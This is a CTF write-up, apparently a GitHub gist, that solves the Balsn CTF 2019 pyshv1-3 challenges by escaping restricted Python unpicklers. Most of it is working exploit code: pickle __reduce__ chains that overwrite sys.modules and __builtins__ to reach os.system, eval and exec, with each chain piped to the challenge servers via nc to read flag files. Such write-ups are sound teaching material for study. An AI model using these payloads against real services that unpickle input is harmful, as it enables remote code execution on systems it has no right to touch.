Skip to content

Instantly share code, notes, and snippets.

@hellman
Last active March 1, 2024 10:54
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hellman/b9804ce39ed8c4b1b0bf136459999a61 to your computer and use it in GitHub Desktop.
Save hellman/b9804ce39ed8c4b1b0bf136459999a61 to your computer and use it in GitHub Desktop.
Balsn CTF 2019 - pyshv1,2,3 (misc)

pyshv1 (572)

The challenge contains two modules:

# File: securePickle.py

import pickle, io

whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)

def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

dumps = pickle.dumps
# File: server.py

import securePickle as pickle
import codecs

pickle.whitelist.append('sys')

class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {}

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

We can provide a pickled string, and the unpickling is restricted to objects in the sys module. I restrained from writing pickle bytecode by hand and used only the __reduce__ API. The only small hack is to create arbitrary named attributes to be pickled, for example sys.__dict__. I wrote this snippet to help with it:

import pickle, sys

class FakeMod(type(sys)):
    modules = {}

    def __init__(self, name):
        self.d = {}
        super().__init__(name)

    def __getattribute__(self, name):
        d = self()
        return d[name]

    def __call__(self):
        return object.__getattribute__(self, "d")

def attr(s):
    mod, name = s.split(".")
    if mod not in FakeMod.modules:
        FakeMod.modules[mod] = FakeMod(mod)
    d = FakeMod.modules[mod]()
    if name not in d:
        def f(): pass
        f.__module__ = mod
        f.__qualname__ = name
        f.__name__ = name
        d[name] = f
    return d[name]

def dumps(obj):
    # use python version of dumps
    # which is easier to hack
    pickle.dumps = pickle._dumps
    orig = sys.modules
    sys.modules = FakeMod.modules
    s = pickle.dumps(obj)
    sys.modules = orig
    return s

a = attr("sys.__dict__")
print(dumps(a))
# b'\x80\x03csys\n__dict__\nq\x00.'

Pickle uses __reduce__ method of objects with a special interface. It allows to call a function (which has to be picklable, i.e. be the part of the module) with arbitrary (picklable) arguments. Finally, it allows to update the __dict__ of the output of the function, .append() objects to it and set items on it. The following snippet simplifies this API into a single function call:

def craft(func, *args, dict=None, list=None, items=None):
    class X:
        def __reduce__(self):
            tup = func, tuple(args)
            if dict or list or items:
                tup += dict, list, items
            return tup
    return X()

Now we can, for example, easily dump sys.__dict__ from the server:

obj = craft(attr("sys.displayhook"), attr("sys.__dict__"))
{'__name__': 'sys', '__doc__': ..., 'argv': ['/home/pyshv1/task/server.py']}

pyshv1 solution

Let's look at the Unpickler.find_class method:

def find_class(self, module, name):
    ...
    __import__(module, level=0)
    if self.proto >= 4:
        return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)

So, pickle relies on the sys.modules mapping! Let us replace this attribute with our own dict so that we can access attributes of objects other than the actual sys module. In particular, we want to access modules in the mapping, so we elegantly set sys.modules[sys] = sys.modules:

c1 = craft(
    attr("sys.__setattr__"),
    "modules", {"sys": sysattr("modules")}
)

We can now update module dicts using the __reduce__ dict API, in particular the whitelist:

c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})

Now we can actually call e.g. the os.system:

c3 = craft(attr("os.system"), "id; cat ../flag.txt")

Assembling the full chain:

c1 = craft(
    attr("sys.__setattr__"),
    "modules", {"sys": sysattr("modules")}
)
c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})
c3 = craft(attr("os.system"), "id; cat ../flag.txt")
obj = craft(attr("sys.displayhook"), (c1, c2, c3))

s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s)
os.system("(cat inp; echo) | nc -v pysh1.balsnctf.com 5421")
uid=1000(pyshv1) gid=1000(pyshv1) groups=1000(pyshv1)
Balsn{p1Ck1iNg_s0m3_PiCklEs}

pyshv2 (857)

In the second challenge the restricted pickle is a bit different. Not it calls the __import__ function:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)

Second, only an empty module structs is added to the whitelist (how this can be insecure???):

pickle.whitelist.append('structs')

The rest is basically the same. In this challenge we have much less tools compared to the rich sys module. However, there is structs.__builtins__ which is the same global __builtins__ module. In particular, the change from pyshv1 is the use of the __import__ function, which we can replace in __builtins__. The idea is somewhat similar to the one with sys.modules: the goal is to access attributes of objects other than the original module. For achieving this, we replace __import__ with structs.__getatttribute__. As a result, __import__("structs").attr becomes structs.structs.attr. We set the structs.structs to structs.__dict__: this allows us to call dict methods:

c1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))
c2 = craft(
    attr("structs.__getattribute__"),
    "__builtins__",
    items=[("__import__", attr("structs.__getattribute__"))]
)

Let's populate the dict with builtins:

bs = craft(attr("structs.get"), "__builtins__")
c3 = craft(attr("structs.update"), bs)

We can now replace structs.structs to the eval function:

ev = craft(attr("structs.get"), "eval")
c4 = craft(attr("structs.__setitem__"), "structs", ev)

Finally, we call eval and assemble the whole chain:

c1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))
c2 = craft(
    attr("structs.__getattribute__"),
    "__builtins__",
    items=[("__import__", attr("structs.__getattribute__"))]
)
bs = craft(attr("structs.get"), "__builtins__")
c3 = craft(attr("structs.update"), bs)
ev = craft(attr("structs.get"), "eval")
c4 = craft(attr("structs.__setitem__"), "structs", ev)
c5 = craft(attr("structs.__call__"), r'print(open("../flag.txt").read())')

obj = craft(attr("structs.__setattr__"), "code", [c1, c2, c3, c4, c5])
s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s)
os.system("(cat inp; echo) | nc -v pysh2.balsnctf.com 5422")

Balsn{CD_sP33duP_eVe3y7h1nG__Wh0_c4r3s_Th3_c0dE?}

pyshv3 (906)

I didn't solve this challenge during CTF, but afterwards I deciced to check if the author's solution can be implemented using same craft() technique and without fiddling with the pickle bytecode. The problem occurs when you try to set an attribute on the class:

in:  type(structs.User).__dict__
out: mappingproxy({'__repr__': ...})
int: type(structs.User).__dict__["newattr"] = 123
out: TypeError: 'mappingproxy' object does not support item assignment

The attribute dictionaries of classes are stored as mappingproxy, which does not have a __setitem__ method (in its class)! And this method is used by pickle in our implementation of craft(..., dict=newattrs). After looking at the source code of pickle, I found out that there is an undocumented feature (not in doc), which was actually used in bytecode-based solutions of other CTFers:

def load_build(self):
    stack = self.stack
    state = stack.pop()
    inst = stack[-1]
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
    if state:
        inst_dict = inst.__dict__
        intern = sys.intern
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)

It turns out that the dict object can be a tuple of:

  • a dict called 'state' for update by calling obj.__dict__[attr] = value;
  • a dict called 'slotstate' for update by calling setattr(obj, attr, value).

And the second case is much more preferable for us, since it is very generic! After patching the craft() function as follows:

def craft(func, *args, dict=None, slots={}, list=None, items=None):
    class X:
        def __reduce__(self):
            tup = func, tuple(args)
            if dict or slots or list or items:
                tup += (dict, slots), list, items
            return tup
    return X()

We can now implement the sasdf's intended solution which is based on making the privileged field a descriptor, which ignores setting the attribute:

clsUser = attr("structs.User")
descr = craft(clsUser, "descruser", "descrpw")

code = craft(attr("structs.__getattribute__"), "User",
    slots=dict(
        __set__=clsUser,
        privileged=descr
    )
)
obj = craft(clsUser, "hellman", "pw", dict={1: code})

s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")

open("inp", "wb").write(s + b"\nflag\n")
os.system("cat inp | nc -vw 1 pysh3.balsnctf.com 5423")

And also the more powerful unintented solution, which makes structs.__spec__.__dict__ point to structs.__dict__, populate it with structs.__builtins__ and then call builtins.exec. Instead of __spec__ we could use any other object that has replaceable __dict__.

s_getattr = attr("structs.__getattribute__")
s_setattr = attr("structs.__setattr__")

builtins = craft(s_getattr, "__builtins__")
structs_dict = craft(s_getattr, "__dict__")

# we just need an object with updatable __dict__
u = craft(s_getattr, "__spec__",
    slots=dict(__dict__=structs_dict)
)

c1 = craft(s_setattr, "u", u)
c2 = craft(s_getattr, "u",
    slots=builtins
)
c3 = craft(attr("structs.exec"), 'print(open("../flag.txt").read());quit()')

obj = [c1, c2, c3]

s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")

open("inp", "wb").write(s + b"\n")
os.system("cat inp | nc -vw 1 pysh2.balsnctf.com 5422")
os.system("cat inp | nc -vw 1 pysh3.balsnctf.com 5423")

Bonus: this code works for both pyshv2 and pyshv3!

Balsn{pY7h0n1dae_ObJ3c7}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment